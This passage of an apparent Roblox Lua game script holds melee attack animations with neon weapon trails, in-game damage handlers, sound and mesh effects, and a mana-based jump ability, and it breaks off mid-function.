  3232.         Handle2weld.C0=clerp(Handle2weld.C0,cf(0,0,0)*angles(math.rad(0),math.rad(0),math.rad(0)),0.05)
  3233.         Handleweld.C0=clerp(Handleweld.C0,cf(0,0,0)*angles(math.rad(0),math.rad(0),math.rad(0)),0.05)
  3234.         LW.C0=clerp(LW.C0,cf(-1,0.5,-0.5)*angles(math.rad(90),math.rad(0),math.rad(40)),.2)
  3235.         RW.C0=clerp(RW.C0,cf(1,0.5,-0.5)*angles(math.rad(90),math.rad(0),math.rad(-40)),.2)
  3236.     end
  3237.     for i=0,1,0.005 do
  3238.         swait()
  3239.         RootJoint.C0=clerp(RootJoint.C0,RootCF*cf(0,0,2.5)*euler(0,0,0+90*i),.2)
  3240.         Torso.Neck.C0=clerp(Torso.Neck.C0,necko*euler(0.1,0,0),.2)
  3241.         handleweld.C0=clerp(handleweld.C0,cf(0,0,0)*angles(math.rad(0),math.rad(0),math.rad(0)),0.05)
  3242.         Handle2weld.C0=clerp(Handle2weld.C0,cf(0,0,0)*angles(math.rad(0),math.rad(0),math.rad(0)),0.05)
  3243.         Handleweld.C0=clerp(Handleweld.C0,cf(0,0,0)*angles(math.rad(0),math.rad(0),math.rad(0)),0.05)
  3244.         LW.C0=clerp(LW.C0,cf(-1,0.5,-0.5)*angles(math.rad(90),math.rad(0),math.rad(40)),.2)
  3245.         RW.C0=clerp(RW.C0,cf(1,0.5,-0.5)*angles(math.rad(90),math.rad(0),math.rad(-40)),.2)
  3246.     end
  3247.     so("http://www.roblox.com/asset/?id=150829983",Character,1,0.9)
  3248.     so("http://www.roblox.com/asset/?id=150829983",Character,1,0.9)
  3249.     for i=0,1,0.005 do
  3250.         swait()
  3251.         RootJoint.C0=clerp(RootJoint.C0,RootCF*cf(0,0,5+1*i)*angles(math.rad(-15),math.rad(0),math.rad(0)),0.1)
  3252.         Torso.Neck.C0=clerp(Torso.Neck.C0,necko*angles(math.rad(-25),math.rad(0),math.rad(0)),0.1)
  3253.         handleweld.C0=clerp(handleweld.C0,cf(0,0+1*i,0)*angles(math.rad(0),math.rad(0),math.rad(0)),0.1)
  3254.         Handle2weld.C0=clerp(Handle2weld.C0,cf(0-1*i,0,0)*angles(math.rad(90),math.rad(15),math.rad(0)),0.1)
  3255.         Handleweld.C0=clerp(Handleweld.C0,cf(0+1*i,0,0)*angles(math.rad(90),math.rad(-15),math.rad(0)),0.1)
  3256.         LW.C0=clerp(LW.C0,cf(-1.5,0.5,0)*angles(math.rad(-30),math.rad(0),math.rad(-30)),0.1)
  3257.         RW.C0=clerp(RW.C0,cf(1.5,0.5,0)*angles(math.rad(-30),math.rad(0),math.rad(30)),0.1)
  3258.         RH.C0=clerp(RH.C0,cf(1,-1,0)*angles(math.rad(0),math.rad(90),math.rad(0))*angles(math.rad(-30),math.rad(0),math.rad(-30)),0.1)
  3259.         LH.C0=clerp(LH.C0,cf(-1,-1,0)*angles(math.rad(0),math.rad(-90),math.rad(0))*angles(math.rad(-30),math.rad(0),math.rad(30)),0.1)
  3260.     end
  3261.     for i=0,1,0.04 do
  3262.         swait()
  3263.         RootJoint.C0=clerp(RootJoint.C0,RootCF*cf(0,0,-1)*angles(math.rad(40),math.rad(0),math.rad(-40)),.3)
  3264.         handleweld.C0=clerp(handleweld.C0,cf(0,0,0)*angles(math.rad(0),math.rad(0),math.rad(0)),.2)
  3265.         Handleweld.C0=clerp(Handleweld.C0,cf(1.5,0,0)*angles(math.rad(0),math.rad(0),math.rad(0)),.2)  
  3266.         Handle2weld.C0=clerp(Handle2weld.C0,cf(-1.5,3,0)*angles(math.rad(0),math.rad(180),math.rad(180)),.2)  
  3267.         RW.C0=clerp(RW.C0,cf(1.5,0.5,0)*angles(math.rad(-40),math.rad(0),math.rad(40)),.3)
  3268.         LW.C0=clerp(LW.C0,cf(-1.5,0.5,0)*angles(math.rad(70),math.rad(0),math.rad(-45)),.3)
  3269.         RH.C0=clerp(RH.C0,cf(1,-1,0)*euler(0,1.57,0)*angles(math.rad(0),math.rad(0),math.rad(-20)),.3)
  3270.         LH.C0=clerp(LH.C0,cf(-1,0.5,0)*euler(0,-1.57,0)*angles(math.rad(-10),math.rad(30),math.rad(-40)),.3)
  3271.     end
  3272.     --dmgstop()
  3273.     attack=false
  3274.     Humanoid.WalkSpeed = 12
  3275. if TrailDeb == true then
  3276.                         TrailDeb = false
  3277. end
  3278. end
  3279.  
  3280. function attackone()
  3281.     attack=true
  3282.     if TrailDeb == false then
  3283.                             TrailDeb = true
  3284.                         end
  3285.                        
  3286.  
  3287. coroutine.wrap(function()
  3288. local Old = Handle.CFrame.p
  3289. while wait()do
  3290. if not TrailDeb then break end
  3291. local New = Handle.CFrame.p
  3292. local Mag =(Old -New).magnitude
  3293. local Dis =(Old +New)/2
  3294. local Trail = Instance.new("Part",Character)
  3295. Trail.Material = "Neon"
  3296. Trail.Anchored = true
  3297. Trail.CanCollide = false
  3298. Trail.BrickColor = TorsoColor
  3299. Trail.Size = Vector3.new(0.2,Mag,0.2)
  3300. Trail.TopSurface = 0
  3301. Trail.BottomSurface = 0
  3302. Trail.formFactor = "Custom"
  3303. Trail.CFrame = CFrame.new(Dis,New)* CFrame.Angles(math.pi/2,0,0)
  3304. local ms = Instance.new("BlockMesh",Trail)
  3305. ms.Scale = Vector3.new(1,1,1)
  3306. local TM = Instance.new("CylinderMesh",Trail)
  3307. TM.Scale = Vector3.new(1,1,1)
  3308. Old = New
  3309. coroutine.wrap(function()
  3310. for i = 1,0,-0.1 do
  3311. wait()
  3312. TM.Scale = TM.Scale * Vector3.new(i,1,i)
  3313. end
  3314. Trail:remove()
  3315. end)()
  3316. coroutine.wrap(function()
  3317. for i = 1,10 do
  3318. wait()
  3319. Trail.Transparency = Trail.Transparency +0.1
  3320. end end)()end end)()
  3321.     con1=Gear.Touched:connect(function(hit) Damagefunc(hit,10,20,math.random(20,40),"Normal",RootPart,.2,1) end)
  3322.     for i=0,1,0.08 do
  3323.         swait()
  3324.         RootJoint.C0=clerp(RootJoint.C0,RootCF*cf(0,0,0)*angles(math.rad(-5),math.rad(0),math.rad(-10)),.3)
  3325.         Torso.Neck.C0=clerp(Torso.Neck.C0,necko*angles(math.rad(5),math.rad(0),math.rad(10)),.3)
  3326.         handleweld.C0=clerp(handleweld.C0,cf(0,0,0)*angles(math.rad(0),math.rad(0),math.rad(0)),.2)
  3327.         Handleweld.C0=clerp(Handleweld.C0,cf(-3,1,2)*angles(math.rad(90),math.rad(0),math.rad(0)),.2)
  3328.         Handle2weld.C0=clerp(Handle2weld.C0,cf(0,0,0)*angles(math.rad(0),math.rad(0),math.rad(0)),.2)
  3329.         RW.C0=clerp(RW.C0,cf(1,0.5,-0.5)*euler(.5,1.8,1.5),.3)
  3330.         LW.C0=clerp(LW.C0,cf(-1.5,0.5,0)*angles(math.rad(2),math.rad(25),math.rad(-15)),.3)
  3331.     end
  3332.     so("http://www.roblox.com/asset/?id=231917758",Handle,1,.9)
  3333.     so("http://www.roblox.com/asset/?id=159972643",Torso,1,1)
  3334.     for i=0,1,0.1 do
  3335.         swait()
  3336.         RootJoint.C0=clerp(RootJoint.C0,RootCF*cf(0,0,0)*angles(math.rad(10),math.rad(0),math.rad(20)),.3)
  3337.         Torso.Neck.C0=clerp(Torso.Neck.C0,necko*angles(math.rad(0),math.rad(0),math.rad(-20)),.3)
  3338.         handleweld.C0=clerp(handleweld.C0,cf(0,0,0)*angles(math.rad(0),math.rad(0),math.rad(0)),.2)
  3339.         Handleweld.C0=clerp(Handleweld.C0,cf(-4,1,-8)*angles(math.rad(-85),math.rad(0),math.rad(0)),.2)
  3340.         Handle2weld.C0=clerp(Handle2weld.C0,cf(0,0,0)*angles(math.rad(0),math.rad(0),math.rad(0)),.2)
  3341.         RW.C0=clerp(RW.C0,cf(1.5,0.5,-0.5)*euler(80,1.8,1.5),.3)
  3342.         LW.C0=clerp(LW.C0,cf(-1.5,0.5,0)*angles(math.rad(2),math.rad(25),math.rad(-15)),.3)
  3343.     end
  3344.     --dmgstop()
  3345.     attack=false
  3346.     con1:disconnect()
  3347. if TrailDeb == true then
  3348.                         TrailDeb = false
  3349. end
  3350. end
  3351.  
  3352. function attacktwo()
  3353.     attack=true
  3354. if TrailDeb == false then
  3355.                             TrailDeb = true
  3356.                         end
  3357.                        
  3358.  
  3359. coroutine.wrap(function()
  3360. local Old = Handle2.CFrame.p
  3361. while wait()do
  3362. if not TrailDeb then break end
  3363. local New = Handle2.CFrame.p
  3364. local Mag =(Old -New).magnitude
  3365. local Dis =(Old +New)/2
  3366. local Trail = Instance.new("Part",Character)
  3367. Trail.Material = "Neon"
  3368. Trail.Anchored = true
  3369. Trail.CanCollide = false
  3370. Trail.BrickColor = TorsoColor
  3371. Trail.Size = Vector3.new(0.2,Mag,0.2)
  3372. Trail.TopSurface = 0
  3373. Trail.BottomSurface = 0
  3374. Trail.formFactor = "Custom"
  3375. Trail.CFrame = CFrame.new(Dis,New)* CFrame.Angles(math.pi/2,0,0)
  3376. local ms = Instance.new("BlockMesh",Trail)
  3377. ms.Scale = Vector3.new(1,1,1)
  3378. local TM = Instance.new("CylinderMesh",Trail)
  3379. TM.Scale = Vector3.new(1,1,1)
  3380. Old = New
  3381. coroutine.wrap(function()
  3382. for i = 1,0,-0.1 do
  3383. wait()
  3384. TM.Scale = TM.Scale * Vector3.new(i,1,i)
  3385. end
  3386. Trail:remove()
  3387. end)()
  3388. coroutine.wrap(function()
  3389. for i = 1,10 do
  3390. wait()
  3391. Trail.Transparency = Trail.Transparency +0.1
  3392. end end)()end end)()
  3393.     con1=Gear2.Touched:connect(function(hit) Damagefunc(hit,10,20,math.random(20,40),"Normal",RootPart,.2,1) end)
  3394.     for i=0,1,0.08 do
  3395.         swait()
  3396.         RootJoint.C0=clerp(RootJoint.C0,RootCF*cf(0,0,0)*angles(math.rad(0),math.rad(0),math.rad(20)),.3)
  3397.         Torso.Neck.C0=clerp(Torso.Neck.C0,necko*angles(math.rad(0),math.rad(0),math.rad(-20)),.3)
  3398.         handleweld.C0=clerp(handleweld.C0,cf(0,0,0)*angles(math.rad(0),math.rad(0),math.rad(0)),.2)
  3399.         Handle2weld.C0=clerp(Handle2weld.C0,cf(-5,1,-5)*angles(math.rad(0),math.rad(0),math.rad(20)),.2)
  3400.         Handleweld.C0=clerp(Handleweld.C0,cf(0,0,0)*angles(math.rad(0),math.rad(0),math.rad(0)),.2)
  3401.         LW.C0=clerp(LW.C0,cf(-1.5,0.5,0)*euler(-30,0,-20),.3)
  3402.         RW.C0=clerp(RW.C0,cf(1.5,0.5,0)*angles(math.rad(-2),math.rad(-25),math.rad(15)),.3)
  3403.     end
  3404.     so("http://www.roblox.com/asset/?id=231917758",Handle2,1,.8)
  3405.     so("http://www.roblox.com/asset/?id=159972627",Torso,1,1)
  3406.     for i=0,1,0.1 do
  3407.         swait()
  3408.         RootJoint.C0=clerp(RootJoint.C0,RootCF*cf(0,0,0)*angles(math.rad(0),math.rad(0),math.rad(-20)),.3)
  3409.         Torso.Neck.C0=clerp(Torso.Neck.C0,necko*angles(math.rad(0),math.rad(0),math.rad(20)),.3)
  3410.         handleweld.C0=clerp(handleweld.C0,cf(0,0,0)*angles(math.rad(0),math.rad(0),math.rad(0)),.2)
  3411.         Handle2weld.C0=clerp(Handle2weld.C0,cf(10,1,-5)*angles(math.rad(0),math.rad(-80),math.rad(20)),.2)
  3412.         Handleweld.C0=clerp(Handleweld.C0,cf(0,0,0)*angles(math.rad(0),math.rad(0),math.rad(0)),.2)
  3413.         LW.C0=clerp(LW.C0,cf(-1,0.5,-1)*euler(-30,0,20),.3)
  3414.         RW.C0=clerp(RW.C0,cf(1.5,0.5,0)*angles(math.rad(-2),math.rad(-25),math.rad(15)),.3)
  3415.     end
  3416.     --dmgstop()
  3417.     attack=false
  3418.     con1:disconnect()
  3419. if TrailDeb == true then
  3420.                         TrailDeb = false
  3421. end
  3422. end
  3423.  
  3424. function attackthree()
  3425.     attack=true
  3426.     if TrailDeb == false then
  3427.                             TrailDeb = true
  3428.                         end
  3429.  
  3430.                        
  3431. coroutine.wrap(function()
  3432. local Old = Handle.CFrame.p
  3433. while wait()do
  3434. if not TrailDeb then break end
  3435. local New = Handle.CFrame.p
  3436. local Mag =(Old -New).magnitude
  3437. local Dis =(Old +New)/2
  3438. local Trail = Instance.new("Part",Character)
  3439. Trail.Material = "Neon"
  3440. Trail.Anchored = true
  3441. Trail.CanCollide = false
  3442. Trail.BrickColor = TorsoColor
  3443. Trail.Size = Vector3.new(0.2,Mag,0.2)
  3444. Trail.TopSurface = 0
  3445. Trail.BottomSurface = 0
  3446. Trail.formFactor = "Custom"
  3447. Trail.CFrame = CFrame.new(Dis,New)* CFrame.Angles(math.pi/2,0,0)
  3448. local ms = Instance.new("BlockMesh",Trail)
  3449. ms.Scale = Vector3.new(1,1,1)
  3450. local TM = Instance.new("CylinderMesh",Trail)
  3451. TM.Scale = Vector3.new(1,1,1)
  3452. Old = New
  3453. coroutine.wrap(function()
  3454. for i = 1,0,-0.1 do
  3455. wait()
  3456. TM.Scale = TM.Scale * Vector3.new(i,1,i)
  3457. end
  3458. Trail:remove()
  3459. end)()
  3460. coroutine.wrap(function()
  3461. for i = 1,10 do
  3462. wait()
  3463. Trail.Transparency = Trail.Transparency +0.1
  3464. end end)()end end)()
  3465.     con1=Gear.Touched:connect(function(hit) Damagefunc(hit,10,20,math.random(20,40),"Up",RootPart,.2,1) end)
  3466.     for i=0,1,0.08 do
  3467.         swait()
  3468.         RootJoint.C0=clerp(RootJoint.C0,RootCF*cf(0,0,0)*angles(math.rad(10),math.rad(0),math.rad(0)),.3)
  3469.         Torso.Neck.C0=clerp(Torso.Neck.C0,necko*euler(0,0,0),.2)
  3470.         handleweld.C0=clerp(handleweld.C0,cf(0,0,0)*angles(math.rad(0),math.rad(0),math.rad(0)),.2)
  3471.         Handleweld.C0=clerp(Handleweld.C0,cf(3,7,-1)*angles(math.rad(20),math.rad(0),math.rad(-120)),.2)
  3472.         Handle2weld.C0=clerp(Handle2weld.C0,cf(0,0,0)*angles(math.rad(0),math.rad(0),math.rad(0)),.2)
  3473.         RW.C0=clerp(RW.C0,cf(1,0.5,-0.5)*euler(0.5,-1.3,-0.1),.3)
  3474.         LW.C0=clerp(LW.C0,cf(-1.5,0.5,0)*angles(math.rad(2),math.rad(25),math.rad(-15)),.3)
  3475.     end
  3476.     so("http://www.roblox.com/asset/?id=231917758",Handle,1,1)
  3477.     so("http://www.roblox.com/asset/?id=159882477",Torso,1,1)
  3478.     for i=0,1,0.05 do
  3479.         swait()
  3480.         RootJoint.C0=clerp(RootJoint.C0,RootCF*cf(0,0,0)*angles(math.rad(-5),math.rad(0),math.rad(0)),.3)
  3481.         Torso.Neck.C0=clerp(Torso.Neck.C0,necko*angles(math.rad(5),math.rad(0),math.rad(0)),.3)
  3482.         handleweld.C0=clerp(handleweld.C0,cf(0,0,0)*angles(math.rad(0),math.rad(0),math.rad(0)),.2)
  3483.         Handleweld.C0=clerp(Handleweld.C0,cf(2,4,-3)*angles(math.rad(120),math.rad(0),math.rad(-120)),.2)
  3484.         Handle2weld.C0=clerp(Handle2weld.C0,cf(0,0,0)*angles(math.rad(0),math.rad(0),math.rad(0)),.2)
  3485.         RW.C0=clerp(RW.C0,cf(1.5,0.5,-0.5)*euler(2,-1.3,0.1),.3)
  3486.         LW.C0=clerp(LW.C0,cf(-1.5,0.5,0)*angles(math.rad(2),math.rad(25),math.rad(-15)),.3)
  3487.     end
  3488.     --dmgstop()
  3489.     attack=false
  3490.     con1:disconnect()
  3491. if TrailDeb == true then
  3492.                         TrailDeb = false
  3493. end
  3494. end
  3495.  
  3496. function attackfour()
  3497.     attack=true
  3498. if TrailDeb == false then
  3499.                             TrailDeb = true
  3500.                         end
  3501.                        
  3502.  
  3503. coroutine.wrap(function()
  3504. local Old = Handle2.CFrame.p
  3505. while wait()do
  3506. if not TrailDeb then break end
  3507. local New = Handle2.CFrame.p
  3508. local Mag =(Old -New).magnitude
  3509. local Dis =(Old +New)/2
  3510. local Trail = Instance.new("Part",Character)
  3511. Trail.Material = "Neon"
  3512. Trail.Anchored = true
  3513. Trail.CanCollide = false
  3514. Trail.BrickColor = TorsoColor
  3515. Trail.Size = Vector3.new(0.2,Mag,0.2)
  3516. Trail.TopSurface = 0
  3517. Trail.BottomSurface = 0
  3518. Trail.formFactor = "Custom"
  3519. Trail.CFrame = CFrame.new(Dis,New)* CFrame.Angles(math.pi/2,0,0)
  3520. local ms = Instance.new("BlockMesh",Trail)
  3521. ms.Scale = Vector3.new(1,1,1)
  3522. local TM = Instance.new("CylinderMesh",Trail)
  3523. TM.Scale = Vector3.new(1,1,1)
  3524. Old = New
  3525. coroutine.wrap(function()
  3526. for i = 1,0,-0.1 do
  3527. wait()
  3528. TM.Scale = TM.Scale * Vector3.new(i,1,i)
  3529. end
  3530. Trail:remove()
  3531. end)()
  3532. coroutine.wrap(function()
  3533. for i = 1,10 do
  3534. wait()
  3535. Trail.Transparency = Trail.Transparency +0.1
  3536. end end)()end end)()
  3537. coroutine.wrap(function()
  3538. local Old = Handle.CFrame.p
  3539. while wait()do
  3540. if not TrailDeb then break end
  3541. local New = Handle.CFrame.p
  3542. local Mag =(Old -New).magnitude
  3543. local Dis =(Old +New)/2
  3544. local Trail = Instance.new("Part",Character)
  3545. Trail.Material = "Neon"
  3546. Trail.Anchored = true
  3547. Trail.CanCollide = false
  3548. Trail.BrickColor = TorsoColor
  3549. Trail.Size = Vector3.new(0.2,Mag,0.2)
  3550. Trail.TopSurface = 0
  3551. Trail.BottomSurface = 0
  3552. Trail.formFactor = "Custom"
  3553. Trail.CFrame = CFrame.new(Dis,New)* CFrame.Angles(math.pi/2,0,0)
  3554. local ms = Instance.new("BlockMesh",Trail)
  3555. ms.Scale = Vector3.new(1,1,1)
  3556. local TM = Instance.new("CylinderMesh",Trail)
  3557. TM.Scale = Vector3.new(1,1,1)
  3558. Old = New
  3559. coroutine.wrap(function()
  3560. for i = 1,0,-0.1 do
  3561. wait()
  3562. TM.Scale = TM.Scale * Vector3.new(i,1,i)
  3563. end
  3564. Trail:remove()
  3565. end)()
  3566. coroutine.wrap(function()
  3567. for i = 1,10 do
  3568. wait()
  3569. Trail.Transparency = Trail.Transparency +0.1
  3570. end end)()end end)()
  3571.     con1=Gear2.Touched:connect(function(hit) Damagefunc(hit,10,20,math.random(20,40),"Normal",RootPart,.2,1) end)
  3572.     con2=Gear.Touched:connect(function(hit) Damagefunc(hit,10,20,math.random(20,40),"Normal",RootPart,.2,1) end)
  3573.     for i=0,1,0.08 do
  3574.         swait()
  3575.         RootJoint.C0=clerp(RootJoint.C0,RootCF*cf(0,0,-1)*angles(math.rad(40),math.rad(0),math.rad(-40)),.3)
  3576.         handleweld.C0=clerp(handleweld.C0,cf(0,0,0)*angles(math.rad(0),math.rad(0),math.rad(0)),.2)
  3577.         Handleweld.C0=clerp(Handleweld.C0,cf(1.5,0,0)*angles(math.rad(0),math.rad(0),math.rad(0)),.2)  
  3578.         Handle2weld.C0=clerp(Handle2weld.C0,cf(-1.5,3,0)*angles(math.rad(0),math.rad(180),math.rad(180)),.2)  
  3579.         RW.C0=clerp(RW.C0,cf(1.5,0.5,0)*angles(math.rad(-40),math.rad(0),math.rad(40)),.3)
  3580.         LW.C0=clerp(LW.C0,cf(-1.5,0.5,0)*angles(math.rad(70),math.rad(0),math.rad(-45)),.3)
  3581.         RH.C0=clerp(RH.C0,cf(1,-1,0)*euler(0,1.57,0)*angles(math.rad(0),math.rad(0),math.rad(-20)),.3)
  3582.         LH.C0=clerp(LH.C0,cf(-1,0.5,0)*euler(0,-1.57,0)*angles(math.rad(-10),math.rad(30),math.rad(-40)),.3)
  3583.     end
  3584. if anim then
  3585. anim.Disabled=true
  3586. end
  3587.     so("http://www.roblox.com/asset/?id=231917758",Torso,1,0.7)
  3588.     so("http://www.roblox.com/asset/?id=159882584",Torso,1,1)
  3589.     for i=0,1,0.04 do
  3590.         swait()
  3591.         Torso.Velocity=RootPart.CFrame.lookVector*50
  3592.         RootJoint.C0=clerp(RootJoint.C0,RootCF*cf(0,0,1)*angles(math.rad(-5),math.rad(0),math.rad(0+360*i)),.3)
  3593.         handleweld.C0=clerp(handleweld.C0,cf(0,0,0)*angles(math.rad(0),math.rad(0),math.rad(0)),.2)
  3594.         Handleweld.C0=clerp(Handleweld.C0,cf(3,0,0)*angles(math.rad(0),math.rad(0),math.rad(0)),.2)  
  3595.         Handle2weld.C0=clerp(Handle2weld.C0,cf(-3,0,0)*angles(math.rad(0),math.rad(180),math.rad(180)),.2)
  3596.         RW.C0=clerp(RW.C0,cf(1.2,0.5,0)*angles(math.rad(90),math.rad(0),math.rad(90)),.3)
  3597.         LW.C0=clerp(LW.C0,cf(-1.2,0.5,0)*angles(math.rad(90),math.rad(0),math.rad(-90)),.3)
  3598.         RH.C0=clerp(RH.C0,cf(1,-1,0)*euler(0,1.57,0)*angles(math.rad(0),math.rad(0),math.rad(0)),.3)
  3599.         LH.C0=clerp(LH.C0,cf(-1,-1,0)*euler(0,-1.57,0)*angles(math.rad(0),math.rad(0),math.rad(0)),.3)
  3600.     end
  3601.     --dmgstop()
  3602.     attack=false
  3603.     con1:disconnect()
  3604.     con2:disconnect()
  3605. if anim then
  3606. anim.Disabled=false
  3607. end
  3608. if TrailDeb == true then
  3609.                         TrailDeb = false
  3610. end
  3611. end
  3612.  
  3613. function BlastEffect(brickcolor, cframe, x1, y1, z1, x2, y2, z2)
  3614.     local prt = part(3, workspace, "SmoothPlastic", 0, 0, brickcolor, "Effect", vt(0.5, 0.5, 0.5))
  3615.     prt.Anchored = true
  3616.     prt.CFrame = cframe
  3617.     local msh = mesh("SpecialMesh", prt, "FileMesh", "http://www.roblox.com/asset/?id=20329976", vt(0, 0, 0), vt(x1, y1, z1))
  3618.     coroutine.resume(coroutine.create(function()
  3619.         for i = 0, 1, 0.05 do
  3620.             wait()
  3621.             prt.Transparency = i
  3622.             msh.Scale = msh.Scale + vt(x2, y2, z2)
  3623.         end
  3624.         prt.Parent = nil
  3625.     end))
  3626. end
  3627.  
  3628. function MagniDamage(Hit, Part, magni, mindam, maxdam, knock, Type)
  3629.     for _, c in pairs(workspace:children()) do
  3630.         local hum = c:findFirstChild("Humanoid")
  3631.         if hum ~= nil then
  3632.             local head = c:findFirstChild("Torso")
  3633.             if head ~= nil then
  3634.                 local targ = head.Position - Part.Position
  3635.                 local mag = targ.magnitude
  3636.                 if mag <= magni and c.Name ~= Player.Name then
  3637.                     Damagefunc(Hit, head, mindam, maxdam, knock, Type, RootPart, .2, 1, 3)
  3638.                 end
  3639.             end
  3640.         end
  3641.     end
  3642. end
  3643.  
  3644. function MagicCircle(brickcolor, cframe, x1, y1, z1, x3, y3, z3, delay)
  3645.     local prt = part(3, workspace, "SmoothPlastic", 0, 0, brickcolor, "Effect", vt(0.5, 0.5, 0.5))
  3646.     prt.Anchored = true
  3647.     prt.CFrame = cframe
  3648.     local msh = mesh("SpecialMesh", prt, "Sphere", "", vt(0, 0, 0), vt(x1, y1, z1))
  3649.     game:GetService("Debris"):AddItem(prt, 2)
  3650.     coroutine.resume(coroutine.create(function(Part, Mesh)
  3651.         for i = 0, 1, delay do
  3652.             swait()
  3653.             Part.CFrame = Part.CFrame
  3654.             Part.Transparency = i
  3655.             Mesh.Scale = Mesh.Scale + vt(x3, y3, z3)
  3656.         end
  3657.         Part.Parent = nil
  3658.     end), prt, msh)
  3659. end
  3660.  
  3661. function MagicJump()
  3662.     if Anim == "Idle" or Anim == "Walk" or Anim == "Run" then
  3663.     attack=true
  3664.     mana=mana-25
  3665. --[[    Humanoid.WalkSpeed = 0
  3666.         for i=0,1,0.01 do
  3667.         swait()
  3668.         RootJoint.C0=clerp(RootJoint.C0,RootCF*cf(0,0,-1.2)*angles(math.rad(45),math.rad(0),math.rad(45)),.1)
  3669.         Neck.C0=clerp(Neck.C0,necko*angles(math.rad(-15),math.rad(15),math.rad(-45)),.1)
  3670.         Neck.C1=clerp(Neck.C1,necko2*euler(0,0,0),.1)
  3671.         RW.C0=clerp(RW.C0,cf(1.5,0.5,0)*angles(math.rad(60),math.rad(0),math.rad(45)),.1)
  3672.         LW.C0=clerp(LW.C0,cf(-1.5,0.5,0)*angles(math.rad(-15),math.rad(15),math.rad(-30)),.1)
  3673.         RH.C0=clerp(RH.C0,cf(0.5,-1.25,0.75)*angles(math.rad(0),math.rad(90),math.rad(0))*angles(math.rad(15),math.rad(-60),math.rad(-15)),.1)
  3674.         LH.C0=clerp(LH.C0,cf(-1,0.1,-0.8)*angles(math.rad(0),math.rad(-90),math.rad(0))*angles(math.rad(40),math.rad(0),math.rad(-30)),.1)
  3675.         handleweld.C0=clerp(handleweld.C0,cf(0,0,0)*angles(math.rad(0),math.rad(0),math.rad(45)),.1)
  3676.         Handleweld.C0=clerp(Handleweld.C0,cf(0,0,-6)*angles(math.rad(-15),math.rad(-60),math.rad(45)),.1)
  3677.         Handle2weld.C0=clerp(Handle2weld.C0,cf(0,0,0)*angles(math.rad(0),math.rad(60),math.rad(45)),.1)
  3678.     end]]--
  3679.     Humanoid.Jump = true
  3680.     Torso.Velocity = vt(0, 150, 0)
  3681.     Humanoid.WalkSpeed = 64
  3682.     so("http://www.roblox.com/asset/?id=199145497",Torso,1,0.8)
  3683.     so("http://www.roblox.com/asset/?id=199145497",Torso,1,0.8)
  3684.     for i=0,1,0.05 do
  3685.     swait()
  3686.     Neck.C0=clerp(Neck.C0,necko*euler(0.5,0,0),.3)
  3687.     Neck.C1=clerp(Neck.C1,necko2*euler(0,0,0),.3)
  3688.     RootJoint.C0=clerp(RootJoint.C0,RootCF*cf(0,0,0)*euler(0+8*i,0,0),.3)
  3689.     LW.C0=clerp(LW.C0,cf(-1,0.5,-1)*euler(-30,0,20),.3)
  3690.     RW.C0=clerp(RW.C0,cf(1,0.5,-1)*euler(-30,0,-20),.3)
  3691.     RH.C0=clerp(RH.C0,cf(1,0,-1)*euler(-0.5,1.57,0)*euler(0,0,0),.2)
  3692.     LH.C0=clerp(LH.C0,cf(-1,0,-1)*euler(-0.5,-1.57,0)*euler(0,0,0),.2)
  3693.     handleweld.C0=clerp(handleweld.C0,cf(0,0,0)*angles(math.rad(20),math.rad(0),math.rad(0)),.2)
  3694.     Handleweld.C0=clerp(Handleweld.C0,cf(0,-5,0)*angles(math.rad(60),math.rad(60),math.rad(0)),.2)
  3695.     Handle2weld.C0=clerp(Handle2weld.C0,cf(0,-5,0)*angles(math.rad(60),math.rad(-60),math.rad(0)),.2)
  3696. end
  3697.     for i=0,1,0.02 do
  3698.     swait()
  3699.     Neck.C0=clerp(Neck.C0,necko*euler(0.3,0,0),.3)
  3700.     Neck.C1=clerp(Neck.C1,necko2*euler(0,0,0),.3)
  3701.     RootJoint.C0=clerp(RootJoint.C0,RootCF*cf(0,0,0)*euler(0,0,0),.3)
  3702.     RW.C0=clerp(RW.C0,cf(1.5,0.5,0)*euler(0.1,0,1),.3)
  3703.     RW.C1=clerp(LW.C1,cf(0,0.5,0)*euler(0,0,0),.3)
  3704.     LW.C0=clerp(LW.C0,cf(-1.5,0.5,0)*euler(0.1,0,-1),.3)
  3705.     LW.C1=clerp(LW.C1,cf(0,0.5,0)*euler(0,0,0),.3)
  3706.     RH.C0=clerp(RH.C0,cf(1,-1,0)*euler(0.6,1.57,0)*euler(0,0,0),.2)
  3707.     LH.C0=clerp(LH.C0,cf(-1,-1,0)*euler(-0.8,-1.57,0)*euler(0,0,0),.2)
  3708.     handleweld.C0=clerp(handleweld.C0,cf(0,0,-1)*angles(math.rad(-20),math.rad(0),math.rad(0)),.2)
  3709.     Handleweld.C0=clerp(Handleweld.C0,cf(0,-1,0)*angles(math.rad(-20),math.rad(-10),math.rad(0)),.2)
  3710.     Handle2weld.C0=clerp(Handle2weld.C0,cf(0,-1,0)*angles(math.rad(-20),math.rad(10),math.rad(0)),.2)
  3711. end
  3712.     Humanoid.WalkSpeed = 0
  3713.     swait(8)
  3714.     so("http://www.roblox.com/asset/?id=199145477",Torso,1,1)
  3715.     so("http://www.roblox.com/asset/?id=199145477",Torso,1,1)
  3716.     local hit,pos=rayCast(Torso.Position,(CFrame.new(RootPart.Position,RootPart.Position - Vector3.new(0,1,0))).lookVector,100,Character)
  3717.     if hit~=nil then
  3718.     swait(2)
  3719.     local ref=part(3,workspace,"SmoothPlastic",0,1,BrickColor.new("Really black"),"Effect",vt())
  3720.     ref.Anchored=true
  3721.     ref.CFrame=cf(pos)
  3722.     game:GetService("Debris"):AddItem(ref,3)
  3723.     for i=1,10 do
  3724.     local Col=BrickColor.new("Really black")
  3725.     local groundpart=part(3,Character,"SmoothPlastic",0,0,Col,"Ground",vt(math.random(50,200)/100,math.random(50,200)/100,math.random(50,200)/100))
  3726.     groundpart.Anchored=true
  3727.     groundpart.CanCollide=false
  3728.     groundpart.CFrame=cf(pos)*cf(math.random(-500,500)/100,0,math.random(-500,500)/100)*euler(math.random(-50,50),math.random(-50,50),math.random(-50,50))
  3729.     local Col2=TorsoColor
  3730.     local groundpart2=part(3,Character,"SmoothPlastic",0,0,Col2,"Ground",vt(math.random(50,200)/100,math.random(50,200)/100,math.random(50,200)/100))
  3731.     groundpart2.Anchored=true
  3732.     groundpart2.CanCollide=false
  3733.     groundpart2.CFrame=cf(pos)*cf(math.random(-500,500)/100,0,math.random(-500,500)/100)*euler(math.random(-50,50),math.random(-50,50),math.random(-50,50))
  3734.     game:GetService("Debris"):AddItem(groundpart,5)
  3735.     game:GetService("Debris"):AddItem(groundpart2,5)
  3736.     end
  3737.     BlastEffect(TorsoColor,cf(pos),1,1,1,1.4,1.4,1.4)
